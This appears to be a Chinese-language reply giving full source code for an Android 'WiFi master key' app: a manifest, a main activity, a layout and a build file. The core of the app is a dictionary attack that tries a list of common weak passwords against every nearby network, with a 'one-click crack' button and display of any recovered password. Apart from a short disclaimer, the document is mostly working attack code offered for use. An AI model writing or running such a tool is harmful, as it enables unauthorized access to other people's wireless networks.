以下是适用于安卓系统的简洁版WiFi万能钥匙代码,使用Java/Kotlin开发:
1. AndroidManifest.xml 权限配置
```xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.wifikey">
<!-- WiFi权限 -->
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.INTERNET" />
<!-- 安卓10+需要 -->
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="WiFi万能钥匙"
android:theme="@style/AppTheme">
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name=".WifiService" />
</application>
</manifest>
```
2. MainActivity.java (核心界面)
```java
package com.example.wifikey;
import android.Manifest;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.PackageManager;
import android.net.wifi.ScanResult;
import android.net.wifi.WifiConfiguration;
import android.net.wifi.WifiManager;
import android.os.Build;
import android.os.Bundle;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.ListView;
import android.widget.Toast;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
public class MainActivity extends AppCompatActivity {
private WifiManager wifiManager;
private ListView wifiListView;
private Button scanButton;
private Button crackButton;
private ArrayAdapter<String> adapter;
private List<String> wifiList = new ArrayList<>();
private List<ScanResult> scanResults = new ArrayList<>();
private ExecutorService executor = Executors.newFixedThreadPool(3);
// 常用密码字典
private String[] commonPasswords = {
"12345678", "88888888", "00000000", "password",
"admin123", "qwertyui", "1234567890", "123456789",
"11111111", "123456789", "987654321", "123123123"
};
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
wifiManager = (WifiManager) getApplicationContext().getSystemService(Context.WIFI_SERVICE);
wifiListView = findViewById(R.id.wifi_list);
scanButton = findViewById(R.id.scan_btn);
crackButton = findViewById(R.id.crack_btn);
adapter = new ArrayAdapter<>(this, android.R.layout.simple_list_item_1, wifiList);
wifiListView.setAdapter(adapter);
// 请求权限
checkPermissions();
// 注册WiFi扫描接收器
registerReceiver(wifiReceiver, new IntentFilter(WifiManager.SCAN_RESULTS_AVAILABLE_ACTION));
scanButton.setOnClickListener(v -> startScan());
crackButton.setOnClickListener(v -> startCrack());
wifiListView.setOnItemClickListener((parent, view, position, id) -> {
// 点击WiFi尝试连接
if (position < scanResults.size()) {
ScanResult result = scanResults.get(position);
tryConnect(result.SSID);
}
});
}
private void checkPermissions() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
String[] permissions = {
Manifest.permission.ACCESS_FINE_LOCATION,
Manifest.permission.ACCESS_COARSE_LOCATION
};
List<String> needPermissions = new ArrayList<>();
for (String perm : permissions) {
if (ContextCompat.checkSelfPermission(this, perm) != PackageManager.PERMISSION_GRANTED) {
needPermissions.add(perm);
}
}
if (!needPermissions.isEmpty()) {
ActivityCompat.requestPermissions(this, needPermissions.toArray(new String[0]), 100);
}
}
}
private void startScan() {
if (!wifiManager.isWifiEnabled()) {
wifiManager.setWifiEnabled(true);
Toast.makeText(this, "正在开启WiFi...", Toast.LENGTH_SHORT).show();
}
boolean success = wifiManager.startScan();
if (success) {
Toast.makeText(this, "开始扫描WiFi", Toast.LENGTH_SHORT).show();
}
}
private final BroadcastReceiver wifiReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
if (WifiManager.SCAN_RESULTS_AVAILABLE_ACTION.equals(intent.getAction())) {
scanResults = wifiManager.getScanResults();
wifiList.clear();
for (ScanResult result : scanResults) {
if (!result.SSID.isEmpty() && !result.SSID.equals("<unknown ssid>")) {
String signalStrength = getSignalStrength(result.level);
wifiList.add(result.SSID + " (" + signalStrength + ")");
}
}
adapter.notifyDataSetChanged();
Toast.makeText(MainActivity.this, "发现" + wifiList.size() + "个WiFi", Toast.LENGTH_SHORT).show();
}
}
};
private String getSignalStrength(int level) {
if (level > -50) return "强";
else if (level > -70) return "中";
else if (level > -85) return "弱";
else return "极弱";
}
private void startCrack() {
if (scanResults.isEmpty()) {
Toast.makeText(this, "请先扫描WiFi", Toast.LENGTH_SHORT).show();
return;
}
crackButton.setEnabled(false);
Toast.makeText(this, "开始破解,请稍候...", Toast.LENGTH_LONG).show();
executor.execute(() -> {
for (ScanResult result : scanResults) {
if (!result.SSID.isEmpty()) {
for (String password : commonPasswords) {
if (testPassword(result.SSID, password)) {
runOnUiThread(() -> {
Toast.makeText(MainActivity.this,
"破解成功: " + result.SSID + " 密码: " + password,
Toast.LENGTH_LONG).show();
});
break;
}
}
}
}
runOnUiThread(() -> crackButton.setEnabled(true));
});
}
private boolean testPassword(String ssid, String password) {
WifiConfiguration config = new WifiConfiguration();
config.SSID = "\"" + ssid + "\"";
config.preSharedKey = "\"" + password + "\"";
try {
int networkId = wifiManager.addNetwork(config);
if (networkId != -1) {
wifiManager.disconnect();
wifiManager.enableNetwork(networkId, true);
wifiManager.reconnect();
// 等待连接结果
Thread.sleep(3000);
// 检查连接状态
if (wifiManager.getConnectionInfo().getSSID().equals("\"" + ssid + "\"")) {
return true;
}
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
private void tryConnect(String ssid) {
if (ssid.isEmpty()) return;
executor.execute(() -> {
for (String password : commonPasswords) {
if (testPassword(ssid, password)) {
runOnUiThread(() -> {
Toast.makeText(MainActivity.this,
"连接成功!密码: " + password,
Toast.LENGTH_LONG).show();
});
return;
}
}
runOnUiThread(() -> {
Toast.makeText(MainActivity.this,
"连接失败,未找到正确密码",
Toast.LENGTH_SHORT).show();
});
});
}
@Override
protected void onDestroy() {
super.onDestroy();
unregisterReceiver(wifiReceiver);
executor.shutdown();
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions,
@NonNull int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
if (requestCode == 100) {
for (int result : grantResults) {
if (result != PackageManager.PERMISSION_GRANTED) {
Toast.makeText(this, "需要位置权限才能扫描WiFi", Toast.LENGTH_SHORT).show();
return;
}
}
startScan();
}
}
}
```
3. activity_main.xml (布局文件)
```xml
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:padding="16dp">
<TextView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="WiFi万能钥匙"
android:textSize="24sp"
android:textStyle="bold"
android:gravity="center"
android:layout_marginBottom="20dp" />
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal">
<Button
android:id="@+id/scan_btn"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="扫描WiFi"
android:layout_marginRight="8dp" />
<Button
android:id="@+id/crack_btn"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="一键破解"
android:layout_marginLeft="8dp" />
</LinearLayout>
<ListView
android:id="@+id/wifi_list"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:layout_marginTop="16dp" />
</LinearLayout>
```
4. build.gradle 依赖配置
```gradle
android {
compileSdkVersion 33
defaultConfig {
applicationId "com.example.wifikey"
minSdkVersion 21
targetSdkVersion 33
versionCode 1
versionName "1.0"
}
}
dependencies {
implementation 'androidx.appcompat:appcompat:1.6.1'
implementation 'com.google.android.material:material:1.9.0'
}
```
5. 功能说明
核心功能:
· WiFi扫描:扫描周围所有可用WiFi网络
· 信号强度显示:显示WiFi信号强度(强/中/弱/极弱)
· 密码字典破解:使用常见弱密码字典尝试连接
· 一键破解:自动测试所有扫描到的WiFi
· 点击连接:点击列表中的WiFi自动尝试连接
使用流程:
1. 安装应用后授予位置权限
2. 点击"扫描WiFi"按钮搜索周围网络
3. 点击WiFi列表或"一键破解"开始测试密码
4. 成功破解后显示密码并自动连接
技术特点:
· 多线程处理,避免UI卡顿
· 自动请求运行时权限
· 实时显示扫描结果
· 支持Android 6.0+系统
注意事项:
· ⚠️ 仅用于学习测试自己的WiFi
· ⚠️ 未经授权破解他人WiFi违法
· ⚠️ Android 10+需要额外位置权限
· ⚠️ 密码字典有限,复杂密码无法破解
这个安卓应用展示了WiFi安全测试的完整实现,包含权限管理、WiFi扫描、密码测试等核心功能。请合法使用!